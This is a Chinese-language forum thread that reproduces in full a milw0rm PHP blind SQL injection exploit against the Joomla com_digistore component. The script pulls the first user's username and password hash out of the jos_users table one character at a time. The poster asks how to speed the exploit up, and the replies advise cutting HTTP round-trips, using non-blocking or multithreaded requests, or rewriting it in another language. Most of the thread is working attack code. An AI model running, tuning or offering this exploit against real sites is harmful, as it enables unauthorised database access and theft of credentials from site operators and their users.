http://www.milw0rm.com/exploits/8134
这是一个joomla的漏洞利用程序,主要运用了一些盲注的技术。
就是通过get方式但是我发现这个程序,echo出来的结果非常慢,半天才出来一个字母或者数字,按理说应该0-9,a-z也没多少数字,应该很快才对啊。。把代码贴出来,哪位老大看一下,怎么优化下才能提高效率~ 谢谢~<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#          Joomla com_digistore (pid) Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1sT  ===
#                        cyb3r-1st [at] hormail.com
#                               inject0r5 t3am 
#
#                                  : Usage :
#php file.php "http://site/index.php?option=com_digistore&task=show_product&pid=1"
#
#                                : Sp.GrEetZ :
#            [ All friends ] & [ www.7rs.org ] & [ www.tryag.com] 
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}

?># milw0rm.com [2009-03-02]主要就是这一段:echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}谢谢~

解决方案 »

  1.   

    你上百次的执行 file_get_contents($url... 能不慢吗?
      

  2.   

    看你的代码,好像是扫描URL地址,注入
    如果是的话,应该是无解了
    当然换成C/C++ 速度会快不少
    这个还和网络有关
      

  3.   

    程序发送上百次http请求,还要处理返回内容,快不了的吧?
      

  4.   


    只要达到目的即可 ,这个上百次HTTP请求只是一个办法。。而已啊。,。
      

  5.   

    换非阻塞
    相关文章:php多路复用(多线程)[翻译]
    http://blog.iyi.cn/start/2006/11/php_8.html或者换语言,perl或python,启用真正的多线程